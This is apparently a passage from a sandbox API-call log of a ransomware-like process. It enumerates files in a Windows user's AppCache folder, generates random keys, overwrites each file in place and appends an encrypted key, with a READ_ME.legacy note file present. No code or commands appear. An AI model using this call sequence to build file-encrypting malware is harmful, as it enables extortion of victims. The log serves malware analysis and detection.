pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.703] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.703] WriteFile (in: hFile=0x1c1c, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.704] WriteFile (in: hFile=0x1c1c, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.704] CloseHandle (hObject=0x1c1c) returned 1 [0193.706] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0193.706] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0193.706] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\IE77EECT\\2\\appcache[1].man", dwFileAttributes=0x80) returned 1 [0193.706] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\IE77EECT\\2\\appcache[1].man" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\ie77eect\\2\\appcache[1].man"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c1c [0193.706] GetFileSizeEx (in: hFile=0x1c1c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=145) returned 1 [0193.707] ReadFile (in: hFile=0x1c1c, lpBuffer=0x555868, nNumberOfBytesToRead=0x91, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x555868*, lpNumberOfBytesRead=0x2e1f9bc*=0x91, lpOverlapped=0x0) returned 1 [0193.707] SetFilePointer (in: hFile=0x1c1c, lDistanceToMove=-145, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.707] WriteFile (in: hFile=0x1c1c, lpBuffer=0x5519c8*, nNumberOfBytesToWrite=0x91, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5519c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x91, lpOverlapped=0x0) returned 1 [0193.707] SetFilePointer (in: hFile=0x1c1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x91 [0193.708] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.708] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.708] WriteFile (in: hFile=0x1c1c, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.708] WriteFile (in: hFile=0x1c1c, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.708] CloseHandle (hObject=0x1c1c) returned 1 [0193.709] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\IE77EECT\\4\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf8c607c0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xf9125365, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xfc146809, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d4b30 [0193.719] FindNextFileW (in: hFindFile=0x30d4b30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf8c607c0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xf9125365, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xfc146809, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0193.719] FindNextFileW (in: hFindFile=0x30d4b30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf8c607c0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xf8c607c0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xf8c607c0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x165c, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="appcache[1].man", cAlternateFileName="APPCAC~1.MAN")) returned 1 [0193.719] FindNextFileW (in: hFindFile=0x30d4b30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xf8c607c0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xf8c607c0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xf8c607c0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0193.719] FindNextFileW (in: hFindFile=0x30d4b30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf8ec2d67, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xf8ec2d67, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xd067ccf2, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3cc6, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_10[1].txt", cAlternateFileName="C_D0E0~1.TXT")) returned 1 [0193.720] FindNextFileW (in: hFindFile=0x30d4b30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf8f0f23b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xf8f0f23b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xd067ccf2, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x8744, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_11[1].txt", cAlternateFileName="C_647E~1.TXT")) returned 1 [0193.720] FindNextFileW (in: hFindFile=0x30d4b30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf8f3546b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xf8f3546b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x7ab99073, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb85, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_12[1].txt", cAlternateFileName="C_EAA3~1.TXT")) returned 1 [0193.720] FindNextFileW (in: hFindFile=0x30d4b30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf8ff405a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xf8ff405a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xd067ccf2, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xa0ef, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_13[1].txt", cAlternateFileName="C_F04C~1.TXT")) returned 1 [0193.720] FindNextFileW (in: hFindFile=0x30d4b30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf9066771, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xf9066771, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xd06a2f50, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x78cb4, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_14[1].txt", cAlternateFileName="C_988E~1.TXT")) returned 1 [0193.720] FindNextFileW (in: hFindFile=0x30d4b30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf908c9c9, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xf908c9c9, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xd06a2f50, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1c44e, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_15[1].txt", cAlternateFileName="C_82F5~1.TXT")) returned 1 [0193.720] FindNextFileW (in: hFindFile=0x30d4b30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf90d8e50, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xf90d8e50, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xd06a2f50, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1f1b1, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_16[1].txt", cAlternateFileName="C_2306~1.TXT")) returned 1 [0193.720] FindNextFileW (in: hFindFile=0x30d4b30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf90d8e50, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xf90d8e50, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xd06a2f50, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x6a02, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_17[1].txt", cAlternateFileName="C_399E~1.TXT")) returned 1 [0193.720] FindNextFileW (in: hFindFile=0x30d4b30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf90d8e50, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xf90d8e50, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xd06a2f50, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x25359, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_18[1].txt", cAlternateFileName="C_503C~1.TXT")) returned 1 [0193.720] FindNextFileW (in: hFindFile=0x30d4b30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf90ff0ac, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xf90ff0ac, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xd06a2f50, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1ef39, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_19[1].txt", cAlternateFileName="C_4A93~1.TXT")) returned 1 [0193.720] FindNextFileW (in: hFindFile=0x30d4b30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf9125365, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xf9125365, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xd067ccf2, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x6426, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_20[1].txt", cAlternateFileName="C_1F20~1.TXT")) returned 1 [0193.720] FindNextFileW (in: hFindFile=0x30d4b30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf8cacc5f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xf8cacc5f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xd067ccf2, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb12f, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_2[1].txt", cAlternateFileName="C__WIN~1.TXT")) returned 1 [0193.720] FindNextFileW (in: hFindFile=0x30d4b30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf8cacc5f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xf8cacc5f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xd067ccf2, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xc0f5, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_3[1].txt", cAlternateFileName="C__WIN~2.TXT")) returned 1 [0193.720] FindNextFileW (in: hFindFile=0x30d4b30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf8d91a84, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xf8d91a84, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xd067ccf2, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x5104, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_4[1].txt", cAlternateFileName="C__WIN~3.TXT")) returned 1 [0193.720] FindNextFileW (in: hFindFile=0x30d4b30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf8e2a3f7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xf8e2a3f7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x7ab72e08, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x87c, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_5[1].txt", cAlternateFileName="C__WIN~4.TXT")) returned 1 [0193.720] FindNextFileW (in: hFindFile=0x30d4b30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf8e50659, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xf8e50659, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xd067ccf2, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb3b2, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_6[1].txt", cAlternateFileName="C_345C~1.TXT")) returned 1 [0193.720] FindNextFileW (in: hFindFile=0x30d4b30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf8e50659, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xf8e50659, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xd067ccf2, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x48d0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_7[1].txt", cAlternateFileName="C_BD17~1.TXT")) returned 1 [0193.721] FindNextFileW (in: hFindFile=0x30d4b30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf8e768a9, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xf8e768a9, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xd0656a94, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x127f6, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_8[1].txt", cAlternateFileName="C_37E1~1.TXT")) returned 1 [0193.721] FindNextFileW (in: hFindFile=0x30d4b30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf8e9cb14, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xf8e9cb14, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xd0656a94, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x576e, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_9[1].txt", cAlternateFileName="C_0E6D~1.TXT")) returned 1 [0193.721] FindNextFileW (in: hFindFile=0x30d4b30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfc146809, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfc146809, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfc146809, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0193.721] FindNextFileW (in: hFindFile=0x30d4b30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfc146809, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfc146809, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfc146809, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0193.721] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0193.721] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0193.721] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\IE77EECT\\4\\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_9[1].txt", dwFileAttributes=0x80) returned 1 [0193.722] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\IE77EECT\\4\\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_9[1].txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\ie77eect\\4\\c__windows_systemapps_microsoft.windows.cortana_cw5n1h2txyewy_cache_desktop_9[1].txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c20 [0193.722] GetFileSizeEx (in: hFile=0x1c20, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=22382) returned 1 [0193.722] ReadFile (in: hFile=0x1c20, lpBuffer=0x30d5030, nNumberOfBytesToRead=0x576e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d5030*, lpNumberOfBytesRead=0x2e1f9bc*=0x576e, lpOverlapped=0x0) returned 1 [0193.733] SetFilePointer (in: hFile=0x1c20, lDistanceToMove=-22382, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.733] WriteFile (in: hFile=0x1c20, lpBuffer=0x30da7a8*, nNumberOfBytesToWrite=0x576e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30da7a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x576e, lpOverlapped=0x0) returned 1 [0193.733] SetFilePointer (in: hFile=0x1c20, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x576e [0193.733] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.733] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.733] WriteFile (in: hFile=0x1c20, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.734] WriteFile (in: hFile=0x1c20, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.734] CloseHandle (hObject=0x1c20) returned 1 [0193.736] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0193.736] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0193.736] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\IE77EECT\\4\\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_8[1].txt", dwFileAttributes=0x80) returned 1 [0193.737] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\IE77EECT\\4\\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_8[1].txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\ie77eect\\4\\c__windows_systemapps_microsoft.windows.cortana_cw5n1h2txyewy_cache_desktop_8[1].txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c20 [0193.737] GetFileSizeEx (in: hFile=0x1c20, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=75766) returned 1 [0193.738] ReadFile (in: hFile=0x1c20, lpBuffer=0x30d5030, nNumberOfBytesToRead=0x127f6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d5030*, lpNumberOfBytesRead=0x2e1f9bc*=0x127f6, lpOverlapped=0x0) returned 1 [0193.746] SetFilePointer (in: hFile=0x1c20, lDistanceToMove=-75766, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.746] WriteFile (in: hFile=0x1c20, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x127f6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x127f6, lpOverlapped=0x0) returned 1 [0193.747] SetFilePointer (in: hFile=0x1c20, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x127f6 [0193.747] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.747] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, 